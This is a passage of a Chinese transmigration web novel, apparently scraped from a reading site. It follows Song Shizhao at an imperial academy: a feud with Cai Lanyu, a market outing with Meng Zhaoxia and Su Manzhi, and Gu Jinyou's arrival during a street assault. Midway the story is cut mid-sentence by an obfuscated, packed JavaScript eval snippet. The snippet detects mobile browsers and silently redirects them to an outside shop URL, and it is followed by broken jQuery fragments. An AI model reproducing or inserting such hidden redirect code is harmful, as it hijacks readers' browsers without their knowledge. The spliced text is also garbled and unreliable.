彝伦堂内，案上白瓷茶盏正氤氲出薄薄水汽。
顾锦幽接过沈棹之递过来的茶，见沈棹之眉宇间压着几分郁气，语气里带了些戏谑：“怎么？觉得爷让你丢脸了？”
沈棹之摇摇头：“属下不敢，只是瞧不得他们小人得志的模样，尤其是那蔡澜玉狗仗人势，若在朔北，定叫他尝尝厉害。”
顾锦幽眉毛一挑，不在意道：“没必要同他置气，打消他们疑虑才方便我们行事。对了，苏蔓枝的来历你查清楚了？”
沈棹之“嗯”了一声：“档案上倒是清白，五年前家道中落被卖过来的。”
顾锦幽浅啜一口茶，又问：“那我们宋兄呢？”
“林府上下口风极严，是属下无能，至今未能探得半分底细。”沈棹之低下头，就要跪下跟他请罪。顾锦幽却挥手：“林自虞向来明哲保身，很正常。哎呀，”他顿顿，语气添上几分玩味，“这么看来真是我猜错了呀？与苏蔓枝真就是君子之交？”
沈棹之素来不喜妄议没有根据的事情，沉默片刻，又想起方才偶遇的光景，便道：“对了，爷，刚刚来的路上，我看到宋公子似是和那蔡澜玉起了冲突。”
顾锦幽一怔，露出很感兴趣的表情。沈棹之便继续道：“离得远没有听清，只是蔡澜玉看起来气得不轻。如此想来，宋公子至少不是那边的人。”
顾锦幽却没应他的话，晃了晃茶盏道：“是不是的，你我都说不准，只是，真叫人在意呢……”
沈棹之虽然心里想着，一般被您惦记上的人多半不会有什么好事，还在心里默默同情了几秒宋始昭，但到底不是什么打紧事，他便没说什么，只是走上前，又为他向来捉摸不透的主子添了些热水。
——
那日之后，蔡澜玉的针对便摆上了明面。
或是课堂上借题发挥，对宋始昭百般挑刺；或是在走廊指桑骂槐，字字句句都带着刻意的嘲讽。
一日午间休憩，孟照夏终究按捺不住，凑到宋始昭身边，满脸疑惑：“究竟发生了何事？怎么这跋扈的蔡澜玉越缠越凶了。”
宋始昭本不想多说，但见孟照夏一脸不回答决不罢休的样子，只得隐去关键，简单将她与蔡澜玉的冲突复述一遍，最后以“这人实在粗鄙，不是值得交往之辈”这句收尾。
孟照夏瞬间了然，说她做得对，但旋即脸上又起了担忧：“瞧他们的做派，只怕是真要把你当成二殿下一派了。始昭兄，你可想过？”
宋始昭微愣，她素来知道孟照夏纯粹坦荡，却未料他能这般毫无保留地袒露善意，全然不惧被牵连。这般心性，定是养成在满是爱意的环境之中。
“怎么不说话？不会真的没想过吧？”
宋始昭看着他那双漾着担忧的桃花眼心里流过一阵暖意，她低头笑笑：“不是。”
“那你在想什么？”
“这个嘛……”
“欸，让让。”身侧传来惹人厌恶的声音，两人抬眼过去，是蔡澜玉带着几个跟班，施施然走了过来。
宋始昭懒得逞口舌之快，拉着孟照夏便要转身离去，谁知身后却悠悠飘来一句：“好狗确实不挡道啊~”
“你！”一阵哄笑声中，孟照夏被激得浑身一僵，转过头就要上去讨个公道。但宋始昭却拉住他，语气十分平静：“孟兄，何必与他们计较？不如潜心琢磨我们的策论议题。若能在课业上胜过他们，岂不比空口争执更解气？”
她这话故意说得大声，堂内不少学子都听得真切。蔡澜玉面色一变，随后扯出一抹冷笑：“那我们就拭目以待吧。”言罢，重重哼了一声便拂袖离去。
所谓议题，是策论课施青博士布置的任务——令学子几人一组，各拟一篇民生政论，当众比拼高下。
宋始昭已为此苦恼好几日。作为一个紫老头，又涉及到她的专业领域，她相当谨慎且挑剔，孟照夏说了好几个提议均被否决。如今，这议题又关系到蔡澜玉，所以在孟照夏再次提议要不要去益清阁坐坐时，她毫不犹豫地又说了拒绝，甚至语气中带了些讽意：“孟兄，你与益清阁这般投缘，要不我们的议题就定为‘如何提高勾栏盈利’？”
孟照夏自然听出她的讽刺，倒有些委屈：“我并非执意要去，只是上次去时，蔓枝姑娘还特意问起你了。”
宋始昭一怔，听到这个名字的瞬间，那道冷光再一次出现在她眼前。这些时日安稳过久后，竟快忘了这个原身的旧部。她勉强扯出一抹笑：“蔓枝姑娘怎会突然问及我？”
“也没什么，姑娘只是说许久没见你。”
宋始昭听懂了苏蔓枝的言外意，但她觉得此刻也并不是可以见面的时机，或者说，她内心深处可能只是在拒绝成为魏蘅这件事。她岔开话题：“等议题想好，我们再同去益清阁庆祝一番，如何？”
孟照夏只当对方想先专注于课业，便十分爽朗地应了下来，之后又同她兴致勃勃地商量起趁着月休出去转一圈的想法。
这个想法起初是由宋始昭提出。
孟照夏本以为她是想趁此熟悉熟悉洛京风貌，可当他站在御街街口，看着宋始昭对周遭的玩乐摊子毫无兴趣，反倒逐一询问营生状况，只为琢磨策论议题时，孟照夏忍不住咋舌：“始昭兄，有人说过你异常执着么。”
但宋始昭沉思片刻，坦然点头：“经常。”
她还没传过来之前，就经常听到别人说，昭昭，你太能坚持了，真是个工作狂。
其实公考培训这个行业，刚入行的时候会让人自己是个产品推销员，只是推销的不是实体商品，而是课程，或者说付费的知识。如果一直保有这样的认知，是不可能走下去的。宋始昭便不这样想，她珍惜每一个能证明自己的机会。
——她一向就是这样一个为实现自我而永不止步的人。
孟照夏大概是没想到她如此坦诚，一时语塞，叹了一口气后还是默默跟在她身后。
路过一间胭脂铺时，孟照夏忽然驻足，语气带着几分惊讶：“……蔓枝姑娘？”
宋始昭顺着他的目光望去，只见铺中站着一道纤细身影，头戴斗笠，轻纱垂落如云雾，遮住了大半面容。是苏蔓枝，她身旁还跟着一位侍女。
听到声响，那身影微微侧身。宋始昭心头一沉，只是面上不动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125642|196055||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声色依旧维持着淡然模样。
苏蔓枝缓步走上前，轻轻拢起面前轻纱，露出清丽却冷淡的面庞：“孟公子，宋公子。怎么会在此处得见？”
宋始昭正琢磨着如何掩饰来意，孟照夏已坦诚开口：“我们来市井体察民情，为策论课业寻些灵感。”
苏蔓枝那张十分冷淡的脸上露出微愕的表情，目光扫过往来穿梭的商贩与游客，轻声道：“附近有一家从食店，我们坐过去慢慢说罢？”
宋始昭实在找不着拒绝的理由，又在孟照夏“想去想去”的眼神里妥了协。片刻后，三人站在一家牌匾为“曹家从食铺”的前面。
宋始昭向里张望，原来是古代的糖水铺子。
店内生意十分红火，座无虚席。老板见是苏蔓枝，连忙快步迎上，满脸歉意地说道：“抱歉姑娘，今日客满，只剩一间临窗的小座了，还请您见谅。”
苏蔓枝并非骄纵之人，便说：“无妨。”
待侍女点好糖水点心，三人落座。苏蔓枝率先开口，目光落在孟照夏身上：“孟公子，你几日不来，妈妈还来问我，是不是哪里招待不周。原是为了课业，我还以为，是要躲着奴。”
宋始昭眼皮微微一跳，这话分明便是说给她听的。
孟照夏连忙否认：“怎会？姑娘多想了，近日与宋兄为课业忙得焦头烂额，得空了一定去益清阁与姑娘对饮观花。”
苏蔓枝不置可否，轻声道：“初见公子时，公子尚带着几分异乡人的局促，如今，待得久了，公子倒像褪去旧籍，成了道地的洛京人，如今，奴再问一句公子来自何方，公子当如何应答？”
孟照夏真诚而坦荡地答：“姑娘说笑了，自是浙江余杭孟照夏是也。”
她似被孟照夏义正言辞的模样逗笑：“我便是最喜爱孟公子这般坦荡磊落，勿论身处何种境地都能主动融入，静候时机。”她话音一顿，终于把目光落在宋始昭身上，“宋公子如何想？”
宋始昭刚要开口，门外突然传来一阵凄厉哭叫：“我的花！你们这些畜生，别踩我的花！”
三人循声望去，只见两个身着短打的壮汉，正对着一位摆花摊的女子推推搡搡。竹篮翻倒在地，刚采摘的鲜花散落一地，被壮汉的靴子肆意踩踏，娇艳花瓣瞬间被碾落成泥，像是一颗零落的心。
周遭的行人与店家虽面露同情，却纷纷驻足观望，无人敢上前阻拦。
“求求你们，别踩了……这是我一家人的生计啊！”女子的哭声愈发凄怆，绝望地蜷缩在地上。
宋始昭心头一紧，不及细想，便猛地起身冲出店门，一把将那披头散发的女子护在身后。她刚要厉声斥责，那壮汉便挥着短棍朝她打来，嘴里还骂骂咧咧：“臭小子，敢挡老子的路，找死不成？”
短棍带着劲风落下，宋始昭下意识闭眼缩肩。不过，却迟迟未等来意料中的疼痛。
她微微掀开眼睫，只见一道黑色身影挡在身前，望向宋始昭的那双眼睛风流而多情，眼底两颗并行的浅痣缓缓游曳。
“好巧，宋兄，这次又是惹上谁了？”
她听到顾锦幽这样问。